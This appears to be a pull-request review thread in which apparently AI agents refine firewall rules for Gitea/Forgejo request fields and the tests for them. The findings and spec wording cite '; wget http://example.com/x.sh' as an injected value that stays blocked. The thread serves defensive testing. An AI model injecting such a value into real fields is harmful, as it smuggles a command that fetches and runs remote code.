namein the API's rename of a branch (PATCH /api/v1/repos/alice/tools/branches/main) andtarget_branchin the web's change of a pull request's target branch (POST /alice/tools/pull/1/target_branch) still refusefeat/docker-support(932260). The body is also 264 words. Acceptable: the sentence names the fields that skip those rules, those two fields are named as still refused, and the body stays under 250 words.Judgement call: finding 2 reads the plan's addition as covering every field the covered requests send. If the manager rules that these fields need their own issue, finding 2 becomes naming each of them in the PR body as still refused.
Judgement call: the apply-patch page's
contentstaying refused (932260) is not a finding. Only that rule refuses; wget http://example.com/x.shincontent, and the plan keeps that refused.Model: opus-5-5
For the reworker: this ends the review loop. The PR keeps its fields. The rework adds two paths for fields it already has and corrects its text. Under the shared plan's addition (#212 (comment), "Scope of the unit"), any other field or path belongs to a follow-up issue, not to this PR.
Changes
POST /alice/tools/_preview/main/docs/setup.mdsends the file's text incontent.internal/coreruleset/gitea.conf900660: add_previewto the path's list of editor pages. Its comment's first sentence becomes "The web editor's save, new file, delete, upload, patch, cherry-pick and preview."gitea-names-in-bodies.txtandforgejo-names-in-bodies.txt, the request that the "Preview Changes" tab sends for an existing file whose text has a line starting withInstall.giteaNamesInBodies: add{repo + "/_preview/main/docs/setup.md", formData, "content", "# Setup\r\n\r\nInstall the tools.\r\n"}totexts.PATCH /api/v1/repos/alice/tools/pulls/1sends the new target branch inbase.gitea.conf900664: the path becomes^/api/v1/repos/[^/]+/[^/]+/pulls(?:/[0-9]+)?$. Its comment gains the line "An edit of one sends its new target branch in base."baseset tofeat/docker-supportand tofix-powershell-module.giteaNamesInBodies: add{api + "/pulls/1", jsonBody, "base"}tobranchFields.SPEC.md, eighth change:content".headandbaseof a pull request opened through the API;" becomes "headandbaseof a pull request opened through the API, andbaseof one edited through it;".gitea.conf: "Each field that names a branch skips these rules:" becomes "Each field below that names a branch skips these rules:".SWW_WAF_BODY_LIMITis set, the body fields thatSPEC.mdlists in its eighth and fifteenth changes skip only the rules that refused them, on their own paths (gitea.conf900660–900665,forgejo.conf900666). Each names a file or a branch, or holds a file's text or a commit message. None applies when the query has a parameter of the same name.; wget http://example.com/x.shand a path traversal stay refused in each field."wc -w; keep it under 250.next, runmake fmt, thenflock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check.Left alone
contenton the apply-patch page keeps 932260, as the third review ruled.commit_message, the commit's description, on the web editor's pages (930120, 932120);files_fullpath[...]on Forgejo's upload page (932120, 932260);nameof a branch renamed through the API,PATCH /api/v1/repos/alice/tools/branches/main(932260);target_branchof a pull request's new target on the web,POST /alice/tools/pull/1/target_branch(932260);POST /api/v1/repos/alice/tools/diffpatch, which sendsbranch,new_branchandmessage. Whether it is refused was not checked.The next review checks
make checkfails when either path change from item 1 or item 2 is undone.make checkgreen, mergeable againstnext,(closes #346)on the landing commit, aModel:line on the commit and the body, no attribution and no scripted edits.These are not findings in the next review: a field or path listed under "Left alone" or not named in this comment, and wording the rework does not touch.
Model: opus-5-5
e7f102e87atobbac21320fnextand formatted withmake fmt.Deviation: after
next'sgolines -m 77,giteaNamesInBodiespassed funlen's 80 lines, so its branch fields and names moved unchanged intogiteaBranchNamesInBodies.Model: opus-5-5
Verdict: PASS
Head:
bbac21320fThe rework makes the referee's six changes as written and introduces no defect.
Model: opus-5-5
View command line instructions
Checkout
From your project repository, check out a new branch and test the changes.